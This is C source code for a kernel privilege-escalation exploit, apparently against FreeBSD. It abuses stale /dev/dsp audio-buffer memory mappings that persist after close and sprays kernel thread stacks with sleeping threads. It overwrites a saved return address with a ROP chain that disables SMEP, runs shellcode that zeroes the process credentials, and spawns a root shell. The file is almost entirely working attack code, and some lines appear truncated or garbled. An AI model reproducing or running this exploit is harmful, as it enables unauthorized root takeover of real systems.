#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) { \ error("%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ exit(1); \ } \ __res; \ }) #define info(fmt, ...) printf("[*] " fmt "\n", ##__VA_ARGS__); #define success(fmt, ...) printf("[+] " fmt "\n", ##__VA_ARGS__); #define error(fmt, ...) printf("[-] " fmt "\n", ##__VA_ARGS__); #define warning(fmt, ...) printf("[!] " fmt "\n", ##__VA_ARGS__); #define hl(x) printf("[#] " #x " = 0x%lx\n",(unsigned long)x); #define rep(X,Y) for (int X = 0;X < (Y);++X) #define drep(X,Y) for (unsigned long X = 0;X < (Y);X+=4) #define qrep(X,Y) for (unsigned long X = 0;X < (Y);X+=8) #define dqrep(X,Y) for (unsigned long X = 0;X < (Y);X+=16) #define irep(X) for (int X = 0;;++X) #define rrep(X,Y) for (int X = int(Y)-1;X >=0;--X) #define range(X,Y,Z) for (int X = Y;X < Z;X++) #define __DBG__ _dbg(__FILE__, __LINE__); void _dbg(const char *file, int line) { info("dbg @ %s:%d", file,line); getchar(); } #define __CHK__(x) _chk( __FILE__, __LINE__, #x,x); void _chk(const char *msg, int line, const char *code, int cond) { if (cond) { success("[OK] %s @ %s:%d",code,msg,line); } else { error("[FAIL] %s @ %s:%d",code,msg,line); abort(); } } #define DEVPATH "/dev/dsp" #define FILL 0x4c50455250445344ULL /* "DSPPREPL" */ #define KERN_BASE_STATIC 0xffffffff80200000ULL #define G_POP_RAX_RET_OFF (0xffffffff810779feULL - KERN_BASE_STATIC) #define G_MOV_CR4_RAX_RET_OFF (0xffffffff803870edULL - KERN_BASE_STATIC) /* mov %rax,%cr4; ret */ #define G_XOR_EAX_RET_OFF (0xffffffff803d666bULL - KERN_BASE_STATIC) #define CR4_ORIG 0x3506e0ULL #define CR4_NOSMEP (CR4_ORIG & ~0x100000ULL) struct stale_map { volatile uint8_t *p; size_t len; int fd; }; struct worker { long tid; uint64_t sec, nsec; void *stack; size_t stack_sz; int target; }; static volatile int go_pre, go_tgt; static void wr64(volatile void *p, uint64_t v){ volatile uint8_t *q=p; for(int i=0;i<8;i++) q[i]=(uint8_t)(v>>(8*i)); } static uint64_t rd64(const volatile void *p){ const volatile uint8_t *q=p; uint64_t v=0; for(int i=7;i>=0;i--) v=(v<<8)|q[i]; return v; } static int setfrag(int fd, unsigned frags, unsigned fraglog){ int arg=(int)((frags<<16)|fraglog); return ioctl(fd,SNDCTL_DSP_SETFRAGMENT,&arg); } static unsigned long kernel_base(unsigned long *sz){ struct kld_file_stat st; memset(&st,0,sizeof(st)); st.version=sizeof(st); SYSCHK(kldstat(1,&st)); if(sz)*sz=st.size; return (unsigned long)st.address; } static unsigned long ksym(const char *name){ struct kld_sym_lookup k; memset(&k,0,sizeof(k)); k.version=sizeof(k); k.symname=(char*)name; SYSCHK(kldsym(0,KLDSYM_LOOKUP,&k)<0); return (unsigned long)k.symvalue; } static int in_text(uint64_t v, unsigned long b, unsigned long s){ return v>=b && vtid=tid; if (w->target) { w->sec = 8; w->nsec = 0x12345000ULL + (uint64_t)((tid & 0xffff) << 4); } else { w->sec = 0x100000000ULL + (uint64_t)(tid & 0xfffff); w->nsec = 0x12345000ULL + (uint64_t)((tid & 0xffff) << 4); } while(!(w->target ? go_tgt : go_pre)) sched_yield(); struct timespec ts; ts.tv_sec=(time_t)w->sec; ts.tv_nsec=(long)w->nsec; nanosleep(&ts, NULL); return NULL; } static int map_one_hold(struct stale_map *m){ m->fd=SYSCHK(open(DEVPATH,O_RDWR)); (void)setfrag(m->fd,32,12); m->len=128*1024; audio_buf_info bi; memset(&bi,0,sizeof(bi)); SYSCHK(ioctl(m->fd,SNDCTL_DSP_GETOSPACE,&bi)); if(bi.fragstotal>0 && bi.fragsize>0) m->len=(size_t)bi.fragstotal*(size_t)bi.fragsize; m->p=SYSCHK(mmap(NULL,m->len,PROT_READ|PROT_WRITE,MAP_SHARED,m->fd,0)); for(size_t o=0;o+8<=m->len;o+=8) wr64(m->p+o,FILL); return 0; } static void prep_stack(struct worker *w){ size_t ss=128*1024; void *st=SYSCHK(mmap(NULL,ss,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0)); for(size_t o=0;ostack=st; w->stack_sz=ss; } static int mkthread(pthread_t *pt, struct worker *w){ pthread_attr_t a; pthread_attr_init(&a); pthread_attr_setstack(&a,w->stack,w->stack_sz); int e=pthread_create(pt,&a,sleeper,w); pthread_attr_destroy(&a); if(e){ errno=e; return -1; } return 0; } static void put64(uint8_t *p, uint64_t v){ for(int i=0;i<8;i++) p[i]=(uint8_t)(v>>(8*i)); } static void *make_shellcode(uint64_t mov_cr4_ret, uint64_t xor_eax_ret, uint64_t orig_ret){ uint8_t sc[256]; size_t n=0; #define B(x) sc[n++]=(uint8_t)(x) #define Q(x) do{ put64(sc+n,(uint64_t)(x)); n+=8; }while(0) /* mov %gs:0,%rax ; current struct thread * */ uint8_t a1[]={0x65,0x48,0x8b,0x04,0x25,0,0,0,0}; memcpy(sc+n,a1,sizeof(a1)); n+=sizeof(a1); uint8_t a2[]={0x48,0x8b,0x58,0x08, /* mov 0x8(%rax),%rbx ; td_proc */ 0x48,0x8b,0x4b,0x40, /* mov 0x40(%rbx),%rcx ; p_ucred */ 0x31,0xd2, /* xor %edx,%edx */ 0x89,0x51,0x64,0x89,0x51,0x68,0x89,0x51,0x6c, 0x89,0x51,0x70,0x89,0x51,0x74,0x89,0x51,0x78, 0xc7,0x41,0x60,0x01,0,0,0, /* cr_ngroups = 1 */ 0x89,0x91,0xc4,0,0,0}; /* cr_smallgroups[0] = 0 */ memcpy(sc+n,a2,sizeof(a2)); n+=sizeof(a2); B(0x48); B(0x83); B(0xec); B(0x18); /* sub $0x18,%rsp: restore normal caller rsp after mini-ROP */ B(0x48); B(0xb8); Q(CR4_ORIG); /* movabs orig_cr4,%rax */ B(0x49); B(0xbb); Q(mov_cr4_ret); /* movabs mov_cr4_ret,%r11 */ B(0x49); B(0xba); Q(orig_ret); /* movabs orig_ret,%r10 */ B(0x41); B(0x52); /* push %r10 */ B(0x49); B(0xba); Q(xor_eax_ret); /* movabs xor_eax_ret,%r10 */ B(0x41); B(0x52); /* push %r10 */ B(0x41); B(0xff); B(0xe3); /* jmp *%r11 */ #undef B #undef Q void *shellcode=SYSCHK(mmap(NULL,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANON,-1,0)); memcpy(shellcode,sc,n); hl(shellcode); return shellcode; } #define N_KERN_STK 1200 #define N_SPRAY 512 int main(int argc, char **argv){ struct sigaction sa; memset(&sa,0,sizeof(sa)); sa.sa_handler=sigusr1; sigaction(SIGUSR1,&sa,NULL); unsigned long ksz=0; unsigned long kbase=kernel_base(&ksz); unsigned long sysn=ksym("sys_nanosleep"); hl(kbase); hl(sysn); unsigned long pop_rax=kbase+(0xffffffff810779feULL - 0xffffffff80200000ULL); unsigned long mov_cr4=kbase+(0xffffffff803870edULL - 0xffffffff80200000ULL); unsigned long xor_eax=kbase+(0xffffffff803d666bULL - 0xffffffff80200000ULL); unsigned long orig_ret=sysn+0x3b; hl(pop_rax); hl(mov_cr4); hl(xor_eax); hl(orig_ret); void *shellcode=make_shellcode(mov_cr4, xor_eax, orig_ret); pthread_t *pt=calloc(N_KERN_STK,sizeof(*pt)); struct worker *wk=calloc(N_KERN_STK,sizeof(*wk)); struct stale_map *maps=calloc(N_SPRAY,sizeof(*maps)); rep(i,N_KERN_STK) prep_stack(&wk[i]); rep(i,N_SPRAY){ map_one_hold(&maps[i]); } rep(i,N_SPRAY){ close(maps[i].fd); } rep(i,N_KERN_STK){ wk[i].target=1; SYSCHK(mkthread(&pt[i],&wk[i])); } go_tgt=1; sleep(2); int target_wi=-1; volatile uint8_t *slot=NULL; for(int mi=0;mi=0) exact++; if(in_text(v,kbase,ksz)) text++; } if(!exact || !text) continue; int wi=-1; for(size_t o=0;o<4096;o+=8){ int t=exact_idx(wk,N_KERN_STK,rd64(maps[mi].p+pg+o)); if(t>=0){ wi=t; break; } } for(size_t o=0;o+32<4096;o+=8){ if(rd64(maps[mi].p+pg+o)==orig_ret){ slot=maps[mi].p+pg+o; target_wi=wi; // build rop wr64(slot+0, pop_rax); wr64(slot+8, CR4_NOSMEP); wr64(slot+16, mov_cr4); wr64(slot+24, (uint64_t)(uintptr_t)shellcode); goto win; } } } } error("fail"); exit(1); win: (void)target_wi; irep(i){ usleep(100000); if(geteuid()==0){ __CHK__(getuid()==0) __CHK__(geteuid()==0) char *argv[] = { "/bin/sh", NULL }; execv(argv[0], argv); return 0; } } }